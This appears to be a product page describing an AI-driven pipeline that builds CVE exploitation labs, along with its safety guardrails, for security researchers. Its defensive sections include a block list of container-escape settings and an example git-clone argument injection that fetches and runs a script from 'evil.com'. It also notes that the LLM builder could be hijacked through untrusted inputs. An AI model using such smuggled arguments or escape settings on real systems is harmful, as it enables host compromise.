AI-Powered CVE to Exploit Lab Pipeline
From vulnerability disclosure to hands-on exploitation environment in under 3 hours. Fully automated, AI-driven, and built for security researchers.
The Pipeline
Five stages transform a CVE identifier into a complete, exploitable lab environment
CVE Discovery
Threat intelligence service monitors CISA KEV catalog, NVD, and security advisories for high-impact vulnerabilities.
Threat Intel Enrichment
MCP service aggregates vulnerability data, finds PoC exploits, and identifies affected software versions.
AI Lab Generation
A pluggable LLM (local vLLM by default) autonomously builds Docker environments, writes exploitation guides, and generates detection rules.
Lab Deployment
Validated lab environments are packaged and deployed to the platform with full documentation.
User Interaction
Security researchers access browser-based labs via Apache Guacamole with full Kali Linux tooling.
Core Components
A deep dive into the systems that power rapid CVE lab generation
Threat Intelligence MCP
Model Context Protocol Service
The threat-intel MCP service provides real-time vulnerability intelligence to the AI builder. It aggregates data from multiple sources and exposes it through a standardized interface.
Query NVD, CISA KEV, and PoC databases by CVE ID, product, or keyword
Automatically finds and ranks proof-of-concept exploits from GitHub
Exposure analysis for vulnerable products in the wild
Autonomous CVE Builder
Provider-agnostic LLM pipeline
The autonomous builder routes its LLM calls through a provider-agnostic
client — Anthropic, OpenAI, local vLLM, Ollama, or any OpenAI-compatible
endpoint, all configured in .env. Staging runs a local
Qwen3-35B-A3B on vLLM, so the full pipeline costs zero external tokens.
Gathers CVE details, affected versions, and exploitation techniques
Creates Docker compose with vulnerable target and attacker workstation
Writes blog post, detection rules (YARA/Sigma), and exploitation guide
Lab Environment
Docker-based Isolated Networks
Each lab session spins up an isolated Docker network containing the vulnerable target and a pre-configured attacker workstation with common penetration testing tools.
- • Affected software version
- • Vulnerable configuration
- • Flag files for validation
- • Kali Linux base
- • Pre-installed exploits
- • Browser access via VNC
Browser-Based Access
Apache Guacamole Gateway
Users access lab environments through their web browser using Apache Guacamole. No SSH, VPN, or local software installation required.
Access full Kali desktop directly in your browser
Copy/paste between your machine and the lab environment
Reconnect to active sessions within the time limit
What Gets Generated
Each CVE lab includes comprehensive documentation and detection capabilities
Technical Blog Post
Comprehensive vulnerability analysis including root cause, exploitation technique, and remediation guidance.
- Executive summary
- Technical deep dive
- Step-by-step walkthrough
- Mitigation strategies
Detection Rules
Ready-to-deploy detection rules for security teams to identify exploitation attempts in their environment.
- YARA rules (file/memory)
- Sigma rules (SIEM)
- Network indicators
- Log patterns
Exploitation Lab
Fully functional Docker environment with vulnerable target and attacker workstation for hands-on practice.
- Docker compose setup
- Pre-configured exploits
- Validation flags
- Attack scripts
Safety & Quality Guardrails
An LLM pipeline consuming untrusted inputs (CVE descriptions, PoC repos) sits one prompt away from RCE-on-host. These layers close that gap.
Buildability Classifier
Before we let the LLM generate a lab, we check whether the CVE is reproducible in Linux Docker at all. Vulhub's 260-CVE catalog is the primary signal; 159 known-good product patterns are the fallback.
- • Whitelist primary: if the CVE is in Vulhub, buildable
- • Product-match secondary: same product, different CVE
- • OS-override veto: "PHP-CGI on Windows" blocks despite PHP being whitelisted
- • Default blog-only: no affirmative evidence → no lab
Compose Privilege Linter
Every LLM-generated docker-compose.lab.yml is parsed and rejected if it contains container-escape primitives — before docker compose up ever runs.
- • Blocks
privileged: true,pid: host,network_mode: host - • Rejects host-path mounts (/, /etc, /var/run/docker.sock)
- • Rejects
cap_add: [SYS_ADMIN, SYS_PTRACE, …] - • Rejects
security_opt: [seccomp:unconfined, …] - • Rejects image/container names starting with
-(flag injection)
Git URL Allowlist
A value like --upload-pack=curl evil.com|sh passed to git clone would execute on the host. We enforce an HTTPS allowlist plus -- argv separation.
- • HTTPS-only, known code-hosting hosts (github.com, gitlab.com, …)
- • Path must match
/owner/repo[.git] - • No
.., newlines, or shell meta-chars - • Argv uses
--separator as defense-in-depth
Static-Analysis-Only PoC Review
Downloaded PoC code is parsed (AST) and surveyed for risky imports. It never executes on the host. If runtime reproduction is needed, it happens inside the isolated attacker container.
- • AST parse for syntax validation
- • Regex survey for
subprocess,eval,pickle.loads - • Module-level code never runs on host
- • Obfuscation detection (PyArmor, base64-exec) → reject
Build-Time Validation
Before a lab ships, the builder emits a validation_report.json with 12+ structural checks — so the operator knows exactly what the LLM produced and what gaps remain.
- • Compose parses as valid YAML with a target service
- • All referenced images exist on their registry
- • PoC syntax-check passes (Python / Ruby / …)
- • YARA / Sigma / Nuclei rules parse as their respective formats
- • Non-critical warnings surface missing
ports:/ healthchecks
Runtime Smoke Tests
Per-session: the moment a lab's containers come up, we verify its internals from inside the attacker — catching broken labs before the user clicks into Guacamole.
- • Attacker tools work (python3, curl, nmap, nc)
- • Target hostname resolves via Docker DNS
- • TCP connect to each declared port succeeds
- • HTTP services return non-5xx status
- • Results surfaced in launch UI +
/statusendpoint
Session isolation and authentication
Per-session isolation
- • Each lab runs on its own Docker bridge network (10.200.X.0/24)
- • No internet egress from lab containers
- • Resource limits on every container (1 CPU, 512MB–1GB RAM)
- • Attacker runs non-root with minimum caps (NET_RAW, NET_ADMIN)
- • 1-hour auto-expiry with explicit extend
- • Per-session random VNC password, generated server-side
Platform authentication
- • JWT-signed session tokens (32-byte secret)
- • Startup refuses to boot with placeholder secrets
- • WebSocket endpoints require JWT + ownership check
- • Session IDs: 32-hex UUID (was 8-hex, brute-forceable)
- • Guacamole
user-mapping.xmlbuilt server-side (XXE-safe) - • CTF and lab endpoints validate CVE ID against strict regex
Continuous Ingest
Two cron jobs keep the platform current without human intervention. Data refreshes, builders fire, blogs publish — all overnight.
Threat-intel refresh
03:17 nightly
Refreshes the MCP sidecar's data sources: CISA KEV, CVE lists, PoC-in-GitHub, and the Vulhub catalog. Restarts the MCP container afterward so in-memory indexes rebuild.
KEV ingest
04:00 nightly
Picks the top-10 newest KEV additions, skips CVEs we've already blogged, feeds the rest to the autonomous builder. Typical night: 8–10 new blogs, 1–3 new runnable labs, ~90 minutes wall time.
Both crons are idempotent. Re-running mid-day (e.g. after a KEV out-of-cycle drop) produces zero duplicate work.
Technology Stack
Built on modern, reliable technologies for performance and scalability
Ready to Start Hacking?
Explore our CVE labs and practice real-world exploitation techniques